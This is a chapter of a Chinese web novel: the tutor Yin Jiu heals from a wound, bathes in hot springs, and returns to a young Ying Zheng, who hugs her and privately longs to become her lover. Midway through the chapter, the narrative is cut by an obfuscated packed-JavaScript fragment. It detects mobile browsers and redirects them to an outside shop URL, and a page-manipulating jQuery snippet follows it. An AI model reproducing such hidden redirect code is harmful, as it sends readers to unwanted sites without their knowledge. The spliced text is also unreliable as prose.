15. 得逞
作品:《与少年嬴政绑定共感后》 嬴政拿起一朵干花放在鼻尖轻嗅,闻到了一股浓烈却不恼人的气味。
她那样淡的人喜欢的也是这样又冷又浓的气味。
嬴政看着几朵梅花歪歪扯扯,丑得五花八门,心叹一声道:信上说拿给自己看看,果然就只是拿给自己看的。他小心地将信封中的干梅花倒在案上,低着头用手指耐心地将每一片花瓣捻匀,然后用竹简压好。
做完这些,他将信放入高架上那个精美的雕花盒子。
这几日骊山下了雪,印玖整日左逛右逛,直到伤口处传来轻微疼痛才往回走。
没想到这个时代的北方也不容易下雪,让她一个南方人馋死了!
姝见她每天想出门看新鲜事物,又只能在四周简单逛,便给她出主意:“大人若是想四处走走,叫人弄个马车不是更好?”
印玖想了想那场景,道:“太张扬。”
据嬴政所说,朝堂上骂她的奏章到现在都没少过一份,还是低调做人吧。毕竟她只是有虚名而无实权的臣子,扛不住骂。
姝耸耸肩不说话。
二人朝住的偏殿走着走着,远远的就看见赵医侍带着一位女医候在门口等她,元宝则在门口伸头探看,警惕又害怕。
“坏了!差点忘了今天是观察伤口的日子!”
印玖也忘记了,让人久等她也有点歉意,和姝对视了一眼,看见这小丫头脸上的慌张。
印玖伤口处细微的撕扯感让她冷静,她安慰姝道:“没事,你主子我也忘记了。你现在先过去好好给赵医侍和赵女医道个歉就行。”
姝点点头:“是,大人。”
姝一路小跑着上前,与赵医侍和赵女医交谈一番。然后他们转身看见了在背后慢慢走的病号印玖。印玖朝他们露出一个苦笑。接着,二人被姝请进室内等候印玖。
没多久,印玖终于用她那不急不缓的速度走进偏殿。元宝一见她就“喵”了一声,跑过来蹭她的腿,然后围着她转圈。
赵医侍起身行礼道:“帝师大人,今日依旧由小女替我查看帝师大人的伤口恢复情况。”
赵女医跟着父亲行礼,并不言语。
“有劳两位。”
赵医侍给他女儿递了个眼神后转身出了门。姝抱起元宝走出去,转身把门关上。室内就只剩印玖和赵女医二人。
赵女医按照惯例将医药箱打开,取出草药粉和包扎用的丝绢,然后轻轻掀起印玖的衣裙到大腿处。雪白细腻的大腿上有一条丝绢缠绕。她目不转睛地把丝绢轻轻解开,绕开三圈后露出一道结着薄薄一层膜的伤口。
赵女医将包扎过印玖伤口的丝绢放在一边,然后在伤口上轻轻洒下药草粉末,再用崭新干净的新丝绢裹好,重新绕了三圈。
随后,赵女医收好医药箱后退两步道,说出今天见到印玖的第一句话:“恭喜大人,伤口恢复得很好。”
印玖将衣裙理好后笑道:“全赖赵女医悉心照料。不过我感觉伤口处有些许撕扯的痛感,也没事吗?”
“正常现象,大人多静坐、多躺,少走动就好。”赵女医说完,见印玖双肩上的绒毛将她衬得娇嫩可爱,像邻家那个小妹妹被拒婚,不知怎的打开了话匣,带着一丝惋惜道:“就是可能会留下好大一个疤。”
印玖一愣,意识到她在用自己的理解表达对自己的关心。在古代,女子是要嫁人的,身上有疤怕是要被男方嫌弃。
她宽慰道:“这个没事,我是不留疤体质,过段时间就慢慢恢复了。”
赵女医仔细想了一阵道:“好像皮肤白的人确实不容易留疤。但是大人这个伤口深得很,还是有一定可能性留下疤痕。”
这个印玖还真不知道,只听见赵女医又道:“我记得小时候有一次家父给大王研制过祛疤的药物,只不过后来被大王下令叫停,说不需要。”
赵女医的潜台词很明显是,如果当初研制成功,现在就能给印玖用了。
“大王小时候经常受伤吗?”印玖的关注点在这里,她快速分析:嬴政8岁回的秦国,现在14岁,对古代人来说,这个年纪小不到哪里去,在秦国会因为什么原因受伤呢?
“也不是,只是那时候他和长安君上街纵马时,惊了副相大人的马车……”赵女医努力搜寻着自己的记忆,恍然间意识到,自己怎么就这么水灵灵地说出来了!人前议论大王是要问罪的!
完了完了,一定是这几天晚上熬夜背医书导致她脑子不清醒了!
印玖见她表情慌乱,莫名其妙了一阵,意识到她在担心什么时,放下探究欲,温声道:“你刚刚说了什么,我可什么都没听到哦。不过令尊在门外等着怪冷的,让他们进来吧。”
赵女医向印玖投去感谢的目光,然后赶忙打开门,让爹和帝师大人的侍女进来。
姝上前给印玖压被角,赵太医则在门口同女儿交流了几句,了解了情况后才上前回禀。
“据小女所言,帝师大人的伤口恢复不错,若帝师大人想启程返回咸阳,您择日出发即可。只是不宜骑马,避免伤口撕裂。”
印玖还想着一边骑马一边看雪景,问道:“那我什么时候能骑马回去啊?周围的雪景挺好看的。”
赵医侍躬身道:“回帝师大人,您三个月内都不能骑马。不过,若帝师大人想多在此处休养一段时间,对伤口恢复自然是更稳妥的。”
印玖对比一番:回去的话,有嬴政想话题陪自己解闷,可是她这里还没逛完这里呢!比如巨大的温泉池子她就很舍不得。
因为中了一箭不能沾水的缘故,她到现在也只泡过那么一次。
真是可惜啊!
“那我什么时候能下水洗澡?”
“还需劳烦帝师大人再等待5到7天,伤口结痂。”
“既然如此,那我们再留一个礼拜吧。”
“是。”
5天后,伤口终于结痂了。印玖高高兴兴地泡了两次温泉,然后在第七天的早上踏上了回咸阳的归途。
虽然不能骑马观雪景,但印玖还是将马车的车帘掀开,观赏一路上的景色。天灰蒙蒙的,阳光被厚重云层过滤,照在地上的不多,她侧身趴在窗户口,下巴放在手背上,放空大脑。
官道宽阔笔直,再往两边是高大的松树,直耸入云,枝干上托着一层一层薄雪,若是再冷几天,应该能结成好看的冰挂。周围又不止松树,印玖注意到了光秃秃的枝干,同样生得高大。姝说是栎树,秋天会有很多人来树下捡果实回去,果实能充饥,果壳可以当作燃料。
姝在边上坐着烤火,看印玖趴在窗口一动不动。
帝师大人今天穿了件淡紫色的衣袍,罩着厚厚的白狐皮袄,头上的发髻是自己给她挽的,上面插着个通透的玉簪。帝师的头发很多很茂密,难怪她自己挽不好头发,姝也只能挽一半留一半,用红绳扎好。虽然看不见侧脸,但姝能想象白皙透亮的皮肤和挺直的鼻梁,往上是清亮的眼瞳,总能令人联想到山间清澈的溪流被一缕透过茂盛树叶间隙照耀。往下红润的嘴唇,姝想,如果帝师大人不一直工作的话,是红润的,如果一直工作,就会变白很多。
她不理解帝师和大王做的事情,但她知道,回去后帝师估计又闲不下来了。
渐渐的,天色暗了下来,印玖吃过随身携带的干粮,望了眼黑蒙蒙的窗外。她下午看时,靠近咸阳的地方有许多农田,带着青青浅绿,现在应该走到了。
不过近距离也看不到了,她这么想着,歪在马车边上睡过去。
再睁开眼时,是姝在她身边轻轻叫她:“帝师大人,到了。”
印玖将滑落的皮袄拿在手里,就着姝掀开的帘子下了马车。
姝拿上行李后,二人一起往宫门口走。
宫内那架熟悉的马车早已停在门口处等候,喜站在远处微笑欢迎她。她总是在温柔地微笑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178517|196457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“帝师大人一路舟车劳顿辛苦了,大王在等帝师大人用晚膳。”
“这个点他还没吃饭吗?”印玖每日听姝观天色辨时间,终于自己也学会了,知道此时早已过了晚饭时间。信上写给他的是今天晚上到,但时间不定,就是怕他的计划被打乱。
“大王说想等帝师一同用膳。”
印玖听完有点歉意:“那就快出发吧。”
到殿门口时,印玖见喜似乎还有别的事情,没有要进去的意思,便一个人走了进去。
她环视四周,感觉一个多月没来,都陌生了。但细想下了,又发现陈设布局并无变化。
印玖没在大殿里看见人,便进了书室。果然人在这里,案几上还有饭菜。
印玖眼尖地看到了鱼汤。
她刚要说话,嬴政感觉到这边动静,侧头看过来,四目相对时,都愣了一下。
不是,哥们你眼睛怎么这么红?
还没来得及说什么,印玖就看见一个巨大的黑影靠近,把自己包裹住。
随着而来的还有那团属于嬴政的情绪黑雾。
过于浓烈和复杂了,印玖一时分不清里面有些什么,只能粗浅感受到思念和喜悦,还有浓浓的酸。
“老师你回来了。”
“昂,不是说了今天晚上回来吗。”印玖用力挣脱挣不脱,反而被抱得更紧。
嬴政应该沐浴完了,身上有淡淡的花香。
是梅花。
印玖没忍住多闻了几口,连带着他身上的温度一起。
突然间感觉身上有些热意,又觉得奇怪,将这莫名的念头抛开。
“信上不是说早就能回来吗?”
“呃,我在那里多留了几天泡温泉。”想到这个,印玖嘴角都翘了几分。
二人抱了一会儿,印玖被他的头发丝弄得痒痒的。
她开口想说让他放开,突然想到赵女官说嬴政之前受伤的事情,不知怎的心上一软,问道:“我听说,你以前和长安君上街玩的时候,惊到副相的马车,然后你受了伤,还留了疤。”
嬴政眼神晃了一下,闷闷道:“嗯,伤疤在背上,特别丑,肯定会吓坏老师的。”
“……我什么时候怕这些东西,你也不必为此忧虑,这又没什么,谁敢嫌弃你不是?”
感受到抱着自己的身体渐渐放松,印玖道:“要不吃饭吧,我饿了。这么一直抱着也不合适,你毕竟都要15了。”关键是之前也没这情况啊,怎么突然这样?
“整整21天没见到老师,有些不习惯。”嬴政松开印玖垂下眼,坐回原来的位置上,重新变回那个沉稳持重的人。
“你眼睛怎么回事?”
“进灰了。”
“哦,记得拿水多冲几次。”印玖在对面坐下,看着热腾腾的饭菜食欲大开,尚未意识到,作为共感的另一方,自己的眼睛没有任何不适。
但她看嬴政重新带回这副木然的面具,又觉得他过于辛苦,于是放下筷子,俯身过去。
她心想他刚才抱自己,手还放自己腰上,还把自己往他怀里带,自己的做法就算以彼之道还之彼身了,于是伸手划开他的嘴角。
“不要老是端着张脸嘛,你现在明明有点难过对吧,情绪不表达出来的话,怎么消散呢?”
印玖从来没想到,居然有一天哪轮到自己这个情绪迟钝、感受力极低的人来教别人释放情绪。
想想就觉得魔幻,又有些心酸。
“我一般过段时间就会好。”嬴政双手握住她的手,忍住没有摩挲,却也舍不得立刻放开。
“表达出来,散得更快。”
嬴政望进印玖清澈双眸,眼睛闪烁几下,最终还是暗了下去,连带着压下内心无数欲望,心道:你不会想知道我要表达什么的,老师。
借师徒之名,妄想有情人之实。
幸好你不懂这些,学生才能得逞。

